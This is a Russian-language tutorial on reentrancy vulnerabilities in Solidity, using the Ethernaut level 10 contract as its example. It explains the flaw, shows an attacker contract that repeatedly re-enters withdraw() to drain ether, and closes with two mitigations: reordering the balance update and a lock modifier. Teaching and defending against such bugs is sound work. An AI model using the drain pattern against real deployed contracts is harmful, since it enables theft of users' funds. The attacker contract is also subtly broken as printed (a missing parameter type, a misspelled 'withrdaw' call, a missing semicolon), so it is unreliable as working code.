Reentrancy

Рассмотрим класс уязвимостей Reentrancy на примере задания 10 из Ethernaut.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Обратите внимание на строки 21 и 25 в функции withdraw(). При заходе в нее происходит вызов функции call() для перевода эфира на адрес msg.sender, после чего минусуется баланс. Это работает без ошибок, когда по адресу msg.sender находится обычный кошелек. Но если по этому адресу располагается какой-то контракт, то вызов call(), отправляя эфир, передает управление коду fallback-функции того контракта для обработки приема эфира.

В свою очередь fallback-функция атакующего контракта может вызвать функцию withdraw() уязвимого контракта, таким образом произойдет повторный вход (reentrancy) в функцию withdraw() и, следовательно, повторный вызов call() с переводом эфира, и так по кругу, а до минусования баланса дело дойдет только когда fallback-функция прекратит вызывать withdraw() (когда например высосет весь эфир с уязвимого контракта):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

interface ReentranceInterface {
    function withdraw(uint) external;
}

contract Attacker {
    address vuln = <VULNERABLE_CONTRACT_ADDRESS>;
    uint amount = 0.1 ether;

    function withdraw(_amount) public {
        ReentranceInterface(vuln).withdraw(_amount);
    }

    receive() external payable {
        if (msg.sender == vuln) {
            if (vuln.balance >= amount) {
                withrdaw(amount)
            }
        }
    }
}

Есть несколько способов избежать уязвимости reentrancy:

  1. Делать вызов call() в конце функции, тогда при повторном входе логика не будет нарушена:
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      balances[msg.sender] -= _amount;
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
    }
  }

2. Использовать модификатор, блокирующий исполнение функции, если уже исполняется какая-либо функция с таким модификатором:

bool internal locked;
modifier blockReentrancy {
    require(!locked, "Contract is locked");
    locked = true;
     _;
     locked = false;
}

function withdraw(uint _amount) public blockReentrancy { 
... 
}